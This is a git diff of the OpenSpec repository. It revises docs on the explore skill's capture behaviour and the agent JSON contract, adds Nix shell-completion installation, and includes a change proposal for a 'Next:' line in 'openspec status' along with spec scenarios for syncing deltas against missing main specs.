@@ -54,6 +61,8 @@ The skills come in two sets:
 | [openspec-bulk-archive-change](#openspec-bulk-archive-change) | Archive several change proposals at once | Optional |
 | [openspec-onboard](#openspec-onboard) | Learn the workflow by doing one real change proposal end to end | Optional |
 
+Each entry below names the skill that owns the next step. When your profile leaves that skill out, the installed files never name it: the handoff becomes the equivalent `openspec` command, or a plain request to you, and a line that exists only to point at a missing skill is not written at all. So the skills you have always hand off to skills you have. Which set you get is [Profiles](../customize/profiles.md).
+
 ## openspec-explore
 
 Think through an idea before it becomes a change proposal.
@@ -82,7 +91,7 @@ Implement a change proposal's tasks, working through the list until done or bloc
 |---|---|
 | **Arguments** | A change proposal name (`add-auth`), optional. If the target is ambiguous it lists the active change proposals and asks you to pick. |
 | **Creates** | Code: the minimal changes each task calls for, in your project files. In the change proposal it touches only the tasks file, checking off each finished task (`- [ ]` to `- [x]`). |
-| **Response** | Progress per task, then an overall count (N/M tasks complete). All done: suggests `openspec-archive-change`. Blocked by missing artifacts: points to `openspec-continue-change`. Unclear tasks or errors: pauses and asks. |
+| **Response** | Progress per task, then an overall count (N/M tasks complete). All done: suggests `openspec-archive-change`. Blocked by missing artifacts: points to `openspec-continue-change`, or to `openspec status` and `openspec instructions` when that skill is not installed (the core profile leaves it out). Unclear tasks or errors: pauses and asks. |
 
 ## openspec-update-change
 
@@ -92,7 +101,7 @@ other.
 | Contract | Description |
 |---|---|
 | **Arguments** | A change proposal name, optional, plus the revision you want. With no revision stated it runs a coherence review: artifacts checked against each other for contradictions, gaps, and duplication. |
-| **Creates** | Nothing new. Edits only artifact files that already exist. Missing artifacts are `openspec-continue-change`'s job. Never code. |
+| **Creates** | Nothing new. Edits only artifact files that already exist. Missing artifacts are `openspec-continue-change`'s job. Without that skill (the core profile leaves it out), it points to `openspec status` and `openspec instructions` instead. Never code. |
 | **Response** | Shows each proposed revision and writes it only after you confirm, one artifact at a time. Ends with what was revised and the next step; implementation waits for `openspec-apply-change`. |
 
 ## openspec-sync-specs

docs-lab/reference/supported-tools.md

@@ -49,7 +49,7 @@ The id goes to `openspec init --tools <id>` to skip the picker ([CLI](cli.md)).
 | Trae | `trae` | `.trae/skills/` | `/openspec-apply-change` | `.trae/commands/` | `/opsx-apply` |
 | ZCode | `zcode` | `.zcode/skills/` | `/openspec-apply-change` | `.zcode/commands/opsx/` | `/opsx:apply` |
 | Zoo Code | `roocode` | `.roo/skills/` | `/openspec-apply-change` | `.roo/commands/` | `/opsx-apply` |
-| Shared `.agents` skills | `agents` | `.agents/skills/` | `/openspec-apply-change` | none | none |
+| Other / Universal | `agents` | `.agents/skills/` | `/openspec-apply-change` | none | none |
 
 - **Skill invocation**: whether a tool registers skills as typed entries is the tool's
   own behavior. The column shows the spelling OpenSpec uses in generated files and in
@@ -118,10 +118,13 @@ init prints this reminder after install.
 - **Safe across projects**: a commands-only delivery leaves the global skills in
   place, so one project's setting cannot remove skills another project uses.
 
-### Shared `.agents` skills
+### Other / Universal (shared `.agents` skills)
 
 - **When it fits**: any tool that reads the shared `.agents/skills/` folder,
-  including tools with no row in the matrix.
+  including tools with no row in the matrix. It is the entry to pick when your
+  assistant is not listed. The init picker's search box finds it by `universal`,
+  `other`, `generic`, `custom`, `proprietary`, `unlisted`, `unsupported`,
+  `vendor-neutral`, or `agents.md`.
 - **Alongside other targets**: Antigravity, Codex, Zed Agent, and this target share
   one physical skill tree. OpenSpec records one writer in `.openspec-target` and
   writes the tree once per run. Each tool's separate command files are still

docs-lab/start/installation.md

@@ -94,6 +94,11 @@ That leaves nothing on your PATH, so there's no install to check afterward.
 
 To put OpenSpec in a project dev shell instead, add the flake as an input and use its default package; [flake.nix](https://github.com/Fission-AI/OpenSpec/blob/main/flake.nix) lists the outputs.
 
+The Nix package ships the Bash, Fish, and Zsh completion scripts at the standard
+locations (`share/bash-completion/completions`, `share/fish/vendor_completions.d`,
+`share/zsh/site-functions`), so they load with the package and there is no need to run
+`openspec completion install`.
+
 ### Check it worked
 
 Whichever method you used, in your terminal:

docs-lab/start/quickstart.md

@@ -17,7 +17,7 @@ flowchart LR
     archive -. "next change" .-> explore
 ```
 
-Every prompt below goes in your AI chat, the same place you ask for code. Each invokes an OpenSpec skill by name, the same spelling in every tool. A plain ask works too ("propose a change to add rate limiting"). Some tools add shorter command aliases (`/opsx:propose` in Claude Code, [other tools vary](../reference/supported-tools.md)).
+Every prompt below goes in your AI chat, the same place you ask for code. Each invokes an OpenSpec skill by name, the same spelling in every tool. A plain ask works too ("propose a change to add rate limiting"), and so does naming the step directly - "openspec propose", "opsx apply" - which runs the workflow instead of hand-building the files. (`openspec update` is a real CLI command that refreshes generated files, so say "openspec update change" for that workflow.) Some tools add shorter command aliases (`/opsx:propose` in Claude Code, [other tools vary](../reference/supported-tools.md)).
 
 ## Step 1: Explore
 
@@ -27,7 +27,7 @@ Think the idea through with your agent before you ask for a plan. In your AI cha
 /openspec-explore how rate limiting should work in this app
 ```
 
-Explore is a thinking mode. The agent investigates your codebase, asks the questions that matter, sketches options, and challenges assumptions. It writes no code and no files. The output is a sharper idea.
+Explore is a thinking mode. The agent investigates your codebase, asks the questions that matter, sketches options, and challenges assumptions. It never writes code. It writes nothing else unless you ask it to capture what you decided, or say yes when it offers. The output is a sharper idea.
 
 Stay here as long as the problem needs. When the shape feels right, hand it off:
 

docs/README.md

@@ -11,7 +11,7 @@ If you read nothing else, read these two pages:
 
 That second one matters more than it looks. OpenSpec has two halves: a command line tool you run in your terminal, and slash commands you give to your AI assistant. Knowing which is which saves you the most common moment of confusion.
 
-> **The best habit to build first: when you're not sure what to build, start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your code, weighs options, and sharpens a fuzzy idea into a concrete plan before any artifact or code exists. The [Explore First](explore.md) guide makes the case.
+> **The best habit to build first: when you're not sure what to build, start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your code, weighs options, and sharpens a fuzzy idea into a concrete plan before any code gets written. The [Explore First](explore.md) guide makes the case.
 
 ## Pick your path
 

docs/agent-contract.md

@@ -47,7 +47,9 @@ deliberately remains the compatibility bare array documented in §4.13:
 ## 4. Command JSON shapes
 
 ### 4.1 `list --json`
-`{ "changes": [ { "name", "completedTasks", "totalTasks", "lastModified", "status": "no-tasks"|"complete"|"in-progress" } ], "root": RootOutput }` — note the per-change `status` is a string enum here. `--specs`: `{ "specs": [ { "id", "requirementCount" } ], "root" }`.
+`{ "changes": [ { "name", "completedTasks", "totalTasks", "lastModified", "status": "no-tasks"|"complete"|"in-progress", "nested"?: ["<area>/<name>", ...] } ], "warnings"?: [ { "code", "name", "nested", "message" } ], "root": RootOutput }` — note the per-change `status` is a string enum here. `--specs`: `{ "specs": [ { "id", "requirementCount" } ], "root" }`.
+
+`warnings` (omitted when empty) reports directories under `changes/` that are not changes. Today the only code is `nested_change_directory`: a namespace folder wrapping change directories, which OpenSpec cannot address because a change is always a directory directly under `changes/`. The same entry carries `nested` on the listed change, whose `status` is then meaningless. Do not treat such an entry as a change; report the message and leave the directories alone.
 
 ### 4.2 `show <item> --json`
 Change: `{ "id", "title", "deltaCount", "deltas": [...], "root" }`. Spec: `{ "id", "title", "overview", "requirementCount", "requirements": [...], "metadata": { "version", "format", "sourcePath"? }, "root" }`.
@@ -66,7 +68,7 @@ Change: `{ "id", "title", "deltaCount", "deltas": [...], "root" }`. Spec: `{ "id
 `ReferenceIndexEntry`: `{ "store_id", "root"?, "specs"?: [{id,summary}], "fetch"?, "status": [] }` — resolved entries carry root/specs/fetch; unresolved carry store_id + warning status. Index capped at 50KB (`reference_index_truncated`).
 
 ### 4.6 `instructions apply --json`
-`{ "changeName", "changeDir", "schemaName", "contextFiles": { "<artifactId>": ["/abs", ...] }, "progress": {total,complete,remaining}, "tasks": [{id,description,done}], "state": "blocked"|"all_done"|"ready", "missingArtifacts"?, "instruction", "references"?, "context"?, "operationGuidance"?, "root" }`. Both optional fields are read from the selected root on every invocation. `context` is a required prompt-level input whose relevant project facts, conventions, and constraints must be applied; `operationGuidance` is advisory input whose entries are followed only when applicable and compatible with the built-in workflow. Both remain separate from state, tasks, progress, context files, and the built-in instruction.
+`{ "changeName", "changeDir", "schemaName", "contextFiles": { "<artifactId>": ["/abs", ...] }, "progress": {total,complete,remaining}, "tasks": [{id,description,done}], "state": "blocked"|"all_done"|"ready", "missingArtifacts"?, "missingPrerequisites"?, "warnings"?, "instruction", "references"?, "context"?, "operationGuidance"?, "root" }`. `missingArtifacts` is what apply blocks on (the schema's `apply.requires`); `missingPrerequisites` is everything still to build before apply can run, in build order - the transitive closure of those requires, so it can be the longer list. `warnings` lists non-blocking problems with the change itself - today, a change that is ready to implement with no delta specs and no `skip_specs: true`, the state `openspec validate` rejects. Both optional root fields (`context`, `operationGuidance`) are read from the selected root on every invocation. `context` is a required prompt-level input whose relevant project facts, conventions, and constraints must be applied; `operationGuidance` is advisory input whose entries are followed only when applicable and compatible with the built-in workflow. Both remain separate from state, tasks, progress, context files, and the built-in instruction.
 
 ### 4.7 `instructions archive --json`
 `{ "changeName", "context"?, "operationGuidance"?, "root" }`. Requires a valid `--change` in the resolved repo/store root and uses the same required-context/advisory-guidance semantics as apply. This is a read-only runtime-input surface: it does not return the static archive workflow, inspect or merge delta specs, write main specs, or move the change.
@@ -110,7 +112,7 @@ setup/register: `{ "store": {id, root, metadata_path?}, "registry": {path, regis
 `invalid_store_id`, `invalid_store_registry`, `invalid_store_metadata`, `store_registry_busy`, `store_not_found`, `no_store_registry`, `store_registry_changed`, `store_metadata_missing`, `store_metadata_id_mismatch`, `store_metadata_invalid`, `store_id_conflict`, `store_path_conflict`, `store_already_registered` (info).
 
 ### Store setup/register/remove
-`store_setup_id_required`, `store_setup_path_required`, `store_setup_path_not_directory`, `store_setup_inside_git_repo`, `store_setup_non_empty_directory`, `store_setup_cancelled`, `store_path_required`, `store_path_missing`, `store_path_not_directory`, `store_root_pointer_declared`, `store_register_root_unhealthy`, `store_register_identity_confirmation_required`, `store_register_cancelled`, `store_remote_empty`, `store_remote_requires_hand_edit`, `store_remove_confirmation_required`, `store_remove_cancelled`, `store_remove_path_not_directory`, `store_remove_metadata_missing`, `store_root_missing` (warning in remove, error in doctor), `store_root_not_directory`.
+`store_setup_id_required`, `store_setup_path_required`, `store_setup_path_not_directory`, `store_setup_inside_git_repo`, `store_setup_non_empty_directory`, `store_setup_cancelled`, `store_path_required`, `store_path_missing`, `store_path_not_directory`, `store_root_pointer_declared`, `store_register_root_unhealthy`, `store_register_identity_confirmation_required`, `store_register_cancelled`, `store_remote_empty`, `store_remote_requires_hand_edit`, `store_remove_confirmation_required`, `store_remove_cancelled`, `store_remove_path_not_directory`, `store_remove_metadata_missing`, `store_remove_contains_registered_store`, `store_root_missing` (warning in remove, error in doctor), `store_root_not_directory`.
 
 ### Store git
 `store_git_init_failed`, `store_git_identity_missing`, `store_git_commit_failed`, `store_git_no_commits` (warning), `store_clone_fragile_directories` (warning), `store_remote_divergence` (info, doctor), `store_checkout_drift` (info, doctor).

docs/commands.md

@@ -78,7 +78,7 @@ AI:  Created openspec/changes/add-dark-mode/
 
 ### `/opsx:explore`
 
-> **Start here when you're unsure.** Explore is a no-stakes thinking partner: it reads your codebase, compares options, and sharpens a fuzzy idea into a concrete plan before any change exists. It ships in the default profile. For the full case and more examples, see the [Explore First](explore.md) guide.
+> **Start here when you're unsure.** Explore is a no-stakes thinking partner: it reads your codebase, compares options, and sharpens a fuzzy idea into a concrete plan before any code gets written. It ships in the default profile. For the full case and more examples, see the [Explore First](explore.md) guide.
 
 Think through ideas, investigate problems, and clarify requirements before committing to a change.
 
@@ -97,6 +97,7 @@ Think through ideas, investigate problems, and clarify requirements before commi
 - Investigates the codebase to answer questions
 - Compares options and approaches
 - Creates visual diagrams to clarify thinking
+- Captures the exploration when you ask, or when you say yes to its offer: scaffolds a change with `openspec new change` and writes the planning artifacts you name, or updates an existing change's artifacts
 - Can transition to `/opsx:propose` (default) or `/opsx:new` (expanded workflow) when insights crystallize
 
 **Example:**
@@ -119,14 +120,20 @@ AI:  Let me investigate your current auth setup...
 
      Your API already has CORS configured. Which direction interests you?
 
-You: Let's go with JWT. Can we start a change for that?
+You: Let's go with JWT.
 
-AI:  Ready when you are. Run /opsx:propose add-jwt-auth to begin.
+AI:  That's a decision worth keeping. Want me to start a change called
+     add-jwt-auth? Just the change folder, nothing else yet.
+
+You: Yes.
+
+AI:  Started openspec/changes/add-jwt-auth/. Say the word and I'll
+     write the proposal, specs, and tasks from what we just worked out.
 ```
 
 **Tips:**
 - Use when requirements are unclear or you need to investigate
-- No artifacts are created during exploration
+- It never writes code, and writes nothing else unless you ask, or say yes when it offers
 - Good for comparing multiple approaches before deciding
 - Can read files and search the codebase
 

docs/examples.md

@@ -68,7 +68,7 @@ Tip: for a fix, a good scenario is the regression test in prose. "GIVEN a logged
 
 **When to use it:** you have a problem but not yet a plan. You're not sure what to build, or which approach is right.
 
-Start with `/opsx:explore`. It's a thinking partner with no structure and no artifacts created. It reads your codebase and helps you decide.
+Start with `/opsx:explore`. It's a thinking partner with no structure. It never writes code, and writes nothing else unless you ask it to capture what you decided, or say yes when it offers. It reads your codebase and helps you decide.
 
 ```text
 You: /opsx:explore

docs/explore.md

@@ -1,6 +1,6 @@
 # Explore First
 
-**`/opsx:explore` is your thinking partner. Reach for it whenever you have a problem but not yet a plan.** It investigates your codebase, weighs options with you, and clarifies what you actually want, all before a single artifact or line of code is created. When the picture is clear, it hands off to `/opsx:propose`.
+**`/opsx:explore` is your thinking partner. Reach for it whenever you have a problem but not yet a plan.** It investigates your codebase, weighs options with you, and clarifies what you actually want, all before a line of code is written. When the picture is clear, it hands off to `/opsx:propose`.
 
 If you take one habit from these docs, take this one: **when you're not sure, explore before you propose.**
 
@@ -27,14 +27,16 @@ Explore is a **conversation**, not a generator.
 - Compare options and name the tradeoffs of each.
 - Draw diagrams to make a design legible.
 - Help you narrow a vague idea into a concrete, buildable scope.
+- Capture the exploration when you ask, or when you accept its offer: it scaffolds the change with `openspec new change` and writes the planning artifacts you named, or updates an existing change's artifacts.
 - Transition to `/opsx:propose` when you're ready.
 
 **It does not:**
-- Create a change folder.
-- Write any artifacts (no proposal, specs, design, or tasks).
-- Write or modify code.
+- Write or modify code. Explore never writes code, on any path, capture included.
+- Design or edit your schemas or templates. Shaping those is a change, not thinking.
+- Start a change or write an artifact on its own. It writes nothing unless you ask, or say yes when it offers, and then only what you agreed to, plus the setup files starting a change needs (see below).
+- Push you toward capturing. It offers when the thinking crystallizes; you decide.
 
-That's the point. Exploring costs you nothing and commits you to nothing. You can explore three dead ends, learn something from each, and only then propose the path that survived.
+That's the point. Exploring costs you nothing and commits you to nothing until you say so. You can explore three dead ends, learn something from each, and only then propose the path that survived.
 
 ## It's already installed
 
@@ -95,6 +97,10 @@ explore  ──►  propose  ──►  apply  ──►  archive
 
 You can say it in plain language ("let's turn this into a change") or run `/opsx:propose <name>` directly. Either way, the exploration you just did becomes the foundation of the proposal, not throwaway chat.
 
+You can also ask explore to capture the change itself, without leaving the conversation: "start a change for this" scaffolds the folder, and "write the proposal too" writes exactly the artifacts you named. Scaffolding also lays down the change's own metadata, and fills in anything your project is missing at the top level (`openspec/specs/`, `openspec/changes/archive/`, a `config.yaml`).
+
+That's the same destination as handing off, with one difference: propose writes the whole set your schema requires to reach implementation, while capture writes only the artifacts you named.
+
 If you use the expanded command set, explore can hand off to `/opsx:new` instead, for step-by-step artifact creation. See [Workflows](workflows.md).
 
 ## Tips for a good exploration
@@ -107,7 +113,7 @@ If you use the expanded command set, explore can hand off to `/opsx:new` instead
 
 ## The honest tradeoffs
 
-**What you gain:** explore catches wrong turns at the cheapest possible moment, before any artifact exists. It's especially powerful in unfamiliar code, where the AI's ability to read and summarize the system saves you an afternoon of spelunking.
+**What you gain:** explore catches wrong turns at the cheapest possible moment, before you've committed to anything. It's especially powerful in unfamiliar code, where the AI's ability to read and summarize the system saves you an afternoon of spelunking.
 
 **What it costs:** a little patience. Explore is a conversation, so it's slower than firing off `/opsx:propose` and hoping. For work you genuinely understand already, that extra step is pure overhead, and you should skip it.
 

docs/faq.md

@@ -50,7 +50,7 @@ Both are files OpenSpec writes so your assistant can run the workflow. Skills (`
 
 ### Where should I start if I'm not sure what to build?
 
-With `/opsx:explore`. It's a no-stakes thinking partner that reads your codebase, lays out options, and turns a fuzzy problem into a concrete plan, all before any change or code exists. It's in the default profile, so it's always available. When the plan is clear, it hands off to `/opsx:propose`. This is the single best habit to form, because it stops an eager AI from confidently building the wrong thing. See [Explore First](explore.md).
+With `/opsx:explore`. It's a no-stakes thinking partner that reads your codebase, lays out options, and turns a fuzzy problem into a concrete plan, all before any code gets written. It's in the default profile, so it's always available. When the plan is clear, it hands off to `/opsx:propose`. This is the single best habit to form, because it stops an eager AI from confidently building the wrong thing. See [Explore First](explore.md).
 
 ### What's the simplest possible flow?
 

docs/getting-started.md

@@ -26,7 +26,7 @@ Two terminal steps to set up, then you live in chat. The rest of this guide unpa
 
 **Don't want to do the terminal part yourself?** Paste the [setup prompt](installation.md#install-with-your-ai-assistant) into your assistant and it handles both lines, then reports what it created.
 
-> **Not sure what to build yet? Start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your codebase, weighs options, and sharpens a fuzzy idea into a concrete plan, all before any artifact or code exists. When the picture is clear, it hands off to `/opsx:propose`. This is the single best habit for working with an AI that will otherwise confidently build the wrong thing. See the [Explore guide](explore.md).
+> **Not sure what to build yet? Start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your codebase, weighs options, and sharpens a fuzzy idea into a concrete plan, all before any code gets written. When the picture is clear, it hands off to `/opsx:propose`. This is the single best habit for working with an AI that will otherwise confidently build the wrong thing. See the [Explore guide](explore.md).
 
 ## How It Works
 

docs/glossary.md

@@ -46,7 +46,7 @@ Terms are grouped by topic, then alphabetized within each group.
 
 **Slash command.** A command you type into your AI assistant's chat, like `/opsx:propose`. Slash commands drive the workflow. They are not terminal commands. See [How Commands Work](how-commands-work.md).
 
-**Explore (`/opsx:explore`).** The thinking-partner command. It reads your codebase, compares options, and clarifies a fuzzy idea into a concrete plan, creating no artifacts and writing no code. The recommended starting point whenever you have a problem but not yet a plan. See [Explore First](explore.md).
+**Explore (`/opsx:explore`).** The thinking-partner command. It reads your codebase, compares options, and clarifies a fuzzy idea into a concrete plan. It never writes code, and writes nothing else unless you ask it to capture the exploration as a change, or say yes when it offers. The recommended starting point whenever you have a problem but not yet a plan. See [Explore First](explore.md).
 
 **CLI.** The `openspec` program you run in your terminal. It sets up projects, lists and validates changes, opens the dashboard, and archives. The terminal half of OpenSpec. See [CLI](cli.md).
 

docs/overview.md

@@ -56,7 +56,7 @@ In the default setup, your day looks like this. Optionally think it through firs
 /opsx:archive                   →  specs updated, change archived
 ```
 
-**When in doubt, start by exploring.** `/opsx:explore` is a no-stakes thinking partner: it reads your code, lays out options, and turns a fuzzy idea into a concrete plan before any artifact exists. It's the best antidote to an AI that will otherwise build *something* from a vague prompt. Already know exactly what you want? Skip straight to `/opsx:propose`. Either way, explore ships in the default profile, so it's always there. See the [Explore guide](explore.md).
+**When in doubt, start by exploring.** `/opsx:explore` is a no-stakes thinking partner: it reads your code, lays out options, and turns a fuzzy idea into a concrete plan before any code gets written. It's the best antidote to an AI that will otherwise build *something* from a vague prompt. Already know exactly what you want? Skip straight to `/opsx:propose`. Either way, explore ships in the default profile, so it's always there. See the [Explore guide](explore.md).
 
 Those are slash commands, typed in your AI assistant's chat. Setup (`openspec init`) happens in your terminal. If that split is new to you, read [How Commands Work](how-commands-work.md) first; it's the most common point of confusion.
 

docs/workflows.md

@@ -140,7 +140,7 @@ You: Yes.
 You: /opsx:propose rebuild-search-index-on-write
 ```
 
-Explore creates no artifacts and writes no code. It's a free, no-stakes conversation that turns a vague worry into a precise change, so the proposal that follows is sharp. Already know exactly what you want? Skip it and go straight to `/opsx:propose`. Full guide: [Explore First](explore.md).
+Explore never writes code, and writes nothing else unless you ask, or say yes when it offers. It's a free, no-stakes conversation that turns a vague worry into a precise change, so the proposal that follows is sharp. Already know exactly what you want? Skip it and go straight to `/opsx:propose`. Full guide: [Explore First](explore.md).
 
 ### Expanded/Full Workflow (custom selection)
 
@@ -493,7 +493,7 @@ AI:  Let me investigate your current setup and options...
      Your current stack suggests #1 or #2. What's your scale?
 ```
 
-Exploration clarifies thinking before you create artifacts.
+Exploration clarifies thinking before any code gets written.
 
 ### Verify Before Archiving
 

flake.nix

@@ -52,10 +52,11 @@
               inherit (finalAttrs) pname version src;
               pnpm = pkgs.pnpm_10;
               fetcherVersion = 3;
-              hash = "sha256-SNPeEUa+amkZYRO5tHeUwDBT4betXYPKnfZiEyhN7fE=";
+              hash = "sha256-oz4tsfu05IPDMaBBp5jLbfsxvTmw1oVtNFtpvudCOPE=";
             };
 
             nativeBuildInputs = with pkgs; [
+              installShellFiles
               nodejs_22
               npmHooks.npmInstallHook
               pnpmConfigHook
@@ -72,6 +73,21 @@
 
             dontNpmPrune = true;
 
+            # `openspec completion generate` renders a static command registry, so it
+            # needs no project and no network. Opting out of telemetry also disables
+            # the update check, keeping the build offline.
+            postInstall = lib.optionalString (pkgs.stdenv.buildPlatform.canExecute pkgs.stdenv.hostPlatform) ''
+              export OPENSPEC_TELEMETRY=0
+              completions=$(mktemp -d)
+              for shell in bash fish zsh; do
+                $out/bin/openspec completion generate "$shell" > "$completions/openspec.$shell"
+              done
+              installShellCompletion --cmd openspec \
+                --bash "$completions/openspec.bash" \
+                --fish "$completions/openspec.fish" \
+                --zsh "$completions/openspec.zsh"
+            '';
+
             meta = with pkgs.lib; {
               description = "AI-native system for spec-driven development";
               homepage = "https://github.com/Fission-AI/OpenSpec";

openspec/changes/add-status-next-step/.openspec.yaml

@@ -0,0 +1,2 @@
+schema: spec-driven
+created: 2026-09-04

openspec/changes/add-status-next-step/proposal.md

@@ -0,0 +1,44 @@
+# Name the command that resumes a change
+
+## Why
+
+`openspec status` reported where a change stood and stopped there. The command
+that moves it forward was already computed: `buildNextSteps` derives it and
+`--json` publishes it as `nextSteps`. But the text surface never rendered it.
+
+So the surface a person actually reads ended on a checklist. `openspec new
+change` hands off with `Next: openspec status --change <name>`, and that next
+command then had no verb of its own. Picking a change back up after a lost
+session, or opening one somebody else started, meant already knowing which
+command came next (#906).
+
+The completion case was the worst of it. Once every planning artifact existed,
+status printed a lone green "All planning artifacts complete!", which reads as
+*you are done* even while `tasks.md` sits half-checked. That is what #906
+reports: every artifact showed `done` rather than `ready`, so the conclusion was
+that nothing was left to run.
+
+## What Changes
+
+- `openspec status` ends with a `Next:` line naming one command: the next ready
+  artifact's `openspec instructions` call while planning is unfinished, and
+  `openspec instructions apply` once every planning artifact exists.
+- The line carries `--store <id>` whenever the resolved root is a store. A
+  command without the flag would resolve against the pointer repo instead of the
+  store the status was read from.
+- `--all` gives every change in the sweep its own line, and gives none to an
+  entry that failed to load, since a failed entry has no artifact statuses to reason
+  about.
+- The line is built from the same resolution as the JSON `nextSteps` sentence,
+  so the two surfaces cannot name different commands. `nextSteps` itself is
+  unchanged, character for character.
+
+No new command, no new flag, no new JSON field. This renders a value the agent
+contract already publishes.
+
+## Impact
+
+- Affected specs: `cli-artifact-workflow` (MODIFIED: Next Artifact Discovery)
+- Affected code: `src/commands/workflow/status.ts`,
+  `src/core/change-status-policy.ts`
+- Affected docs: `docs/cli.md` (the status text output example)

openspec/changes/add-status-next-step/specs/cli-artifact-workflow/spec.md

@@ -0,0 +1,37 @@
+## MODIFIED Requirements
+
+### Requirement: Next Artifact Discovery
+
+The workflow SHALL use `openspec status` output to determine what can be created next, rather than a separate next-command surface.
+
+#### Scenario: Discover next artifacts from status output
+
+- **WHEN** a user needs to know which artifact to create next
+- **THEN** `openspec status --change <id>` identifies ready artifacts with `[ ]`
+- **AND** the first `[ ]` entry is the schema's recommended next artifact
+- **AND** no dedicated "next command" is required to continue the workflow
+
+#### Scenario: Status names the command that moves the change forward
+
+- **WHEN** a user runs `openspec status --change <id>` in text mode and a next step resolves
+- **THEN** the output ends with a `Next:` line naming exactly one command to run
+- **AND** that command is `openspec instructions <artifact> --change "<id>" --json` for the first ready artifact while any planning artifact is still ready
+- **AND** it is `openspec instructions apply --change "<id>" --json` once every planning artifact exists, printed after the completion line rather than in place of it, because that line alone reads as "you are done" while implementation tasks remain
+- **AND** the named artifact is never one the change skipped, which satisfies its dependents but must not be created
+- **AND** the artifact id comes from the resolved schema, so a project whose schema declares neither of the default artifact names still gets a usable command
+
+#### Scenario: The named command carries the store selection
+
+- **WHEN** the resolved root is a store
+- **THEN** the `Next:` command includes `--store <id>`, so it resolves against the same root the status was read from rather than the pointer repo
+
+#### Scenario: Both surfaces name the same command
+
+- **WHEN** a next step resolves
+- **THEN** the command printed on the `Next:` line and the command inside the JSON `nextSteps` sentence are derived from one resolution, so the two surfaces cannot name different commands
+- **AND** the `Next:` line never appears in `--json` output, which stays parseable
+
+#### Scenario: No next step resolves
+
+- **WHEN** no artifact is ready and planning is not complete, or a change in an `--all` sweep failed to load
+- **THEN** no `Next:` line is printed for it, rather than a guessed or shared command

openspec/changes/add-status-next-step/tasks.md

@@ -0,0 +1,17 @@
+# Tasks
+
+## 1. Resolve the next step once
+- [x] 1.1 Extract `resolveNextStep` returning the command and the sentence, leaving `buildNextSteps` returning exactly that sentence so the JSON contract is unchanged
+- [x] 1.2 Pin the published sentences verbatim in a unit test, so splitting command from sentence cannot reword the contract
+
+## 2. Render it on the text surface
+- [x] 2.1 Print a `Next:` line from the resolved command, after the completion line rather than in place of it
+- [x] 2.2 Thread the store selection into the renderer so the command carries `--store`
+- [x] 2.3 Give every change in an `--all` sweep its own line, and a failed entry none
+
+## 3. Cover the behavior
+- [x] 3.1 Assert the ready, planning-complete, skipped, and custom-schema cases end to end
+- [x] 3.2 Assert the printed command appears verbatim inside the JSON sentence, and that the line never leaks into `--json`
+
+## 4. Record it
+- [x] 4.1 Update the `cli-artifact-workflow` spec delta and the `docs/cli.md` status output example

openspec/specs/opsx-archive-skill/spec.md

@@ -82,6 +82,52 @@ The skill SHALL prompt to sync delta specs before archiving if specs exist.
 - **AND** stop without archiving if the sync fails or any capability does not verify
 - **AND** archive only after verification passes, or when the user explicitly chose to archive without syncing or to archive already-synced specs
 
+#### Scenario: Applicable ADDED delta whose main spec does not exist yet
+
+- **WHEN** agent compares a delta spec against its main spec at `openspec/specs/<capability-path>/spec.md`
+- **AND** that main spec does not exist yet
+- **AND** the delta has `## ADDED Requirements`
+- **AND** the delta has no `## MODIFIED Requirements` or `## RENAMED Requirements`
+- **THEN** count that capability as needing sync rather than as already synced
+- **AND** name it in the summary as a main spec the sync will create
+- **AND** never treat the missing main spec as nothing to apply
+- **AND** if the delta also has `## REMOVED Requirements`, warn that they will be ignored because there is no main spec to remove them from
+- **AND** create the main spec from only the delta's `## ADDED Requirements`
+
+#### Scenario: Unsupported delta operation whose main spec does not exist yet
+
+- **WHEN** a delta targets a capability whose main spec does not exist yet
+- **AND** the delta has `## MODIFIED Requirements` or `## RENAMED Requirements`
+- **THEN** report that only ADDED requirements can create a new main spec
+- **AND** mark the capability as sync-blocked without writing a main spec
+
+#### Scenario: Explicitly retired capability whose main spec is missing
+
+- **WHEN** a delta contains only `## REMOVED Requirements` and its main spec is missing
+- **AND** the change's `.openspec.yaml` declares `retire_capabilities: true`
+- **THEN** count that capability as already synced and report that it is already retired
+- **AND** warn that there is nothing left to remove and do not recreate the main spec
+- **AND** apply the same rule when verifying a completed sync, so retiring a capability does not block archiving
+
+#### Scenario: Nothing to put in a missing main spec without a declared retirement
+
+- **WHEN** a delta targets a capability whose main spec does not exist yet
+- **AND** the delta has no `## ADDED Requirements`
+- **AND** it is not a REMOVED-only delta with `retire_capabilities: true`
+- **THEN** report that no sync is possible
+- **AND** if the delta has only `## REMOVED Requirements`, warn that there is no main spec to remove them from and leave the main-spec tree unchanged
+- **AND** mark the capability as sync-blocked, since the verification pass would re-read the same missing spec
+
+#### Scenario: Sync-blocked capability during archive assessment
+
+- **WHEN** any capability is sync-blocked during the initial assessment
+- **THEN** assess the remaining capabilities and summarize the blockers before prompting
+- **AND** offer only "Archive without syncing" and "Cancel"
+- **AND** archive without writing main specs only if the user explicitly chooses "Archive without syncing"
+- **AND** stop without archiving if the user cancels
+- **AND** do not start any sync while a capability is blocked, even if other capabilities could sync
+- **AND** a failed sync or post-sync verification still stops without archiving; do not silently fall back to skipping sync
+
 #### Scenario: No delta specs
 
 - **WHEN** agent checks for delta specs

openspec/specs/specs-sync-skill/spec.md

@@ -71,10 +71,27 @@ The agent SHALL reconcile main specs with delta specs using the delta operation
 
 #### Scenario: New capability spec
 - **WHEN** delta spec exists for a capability not in main specs
+- **AND** it has ADDED requirements and no MODIFIED or RENAMED requirements
 - **THEN** create new main spec file at `openspec/specs/<capability-path>/spec.md`, preserving the delta's path relative to `specs/`
 - **AND** copy the delta's `## Purpose` body into it when the delta has one, matching what `openspec archive` does
 - **AND** write a brief TBD placeholder Purpose only when the delta has none
 
+#### Scenario: MODIFIED or RENAMED against a capability with no main spec
+- **WHEN** delta contains `## MODIFIED Requirements` or `## RENAMED Requirements`
+- **AND** the capability has no main spec yet
+- **THEN** stop the sync for that capability and report that only ADDED requirements are allowed for a new spec, matching what `openspec archive` does
+- **AND** never invent the missing requirement
+- **AND** skip any `## REMOVED Requirements` with a warning, since there is nothing to remove
+
+#### Scenario: Nothing to put in a new spec
+- **WHEN** a delta targets a capability with no main spec
+- **AND** the delta has no `## ADDED Requirements` to seed it with
+- **THEN** create no main spec and leave the specs directory untouched
+- **AND** for a REMOVED-only delta with `retire_capabilities: true` in the change's `.openspec.yaml`, report the capability as already retired and continue without recreating it
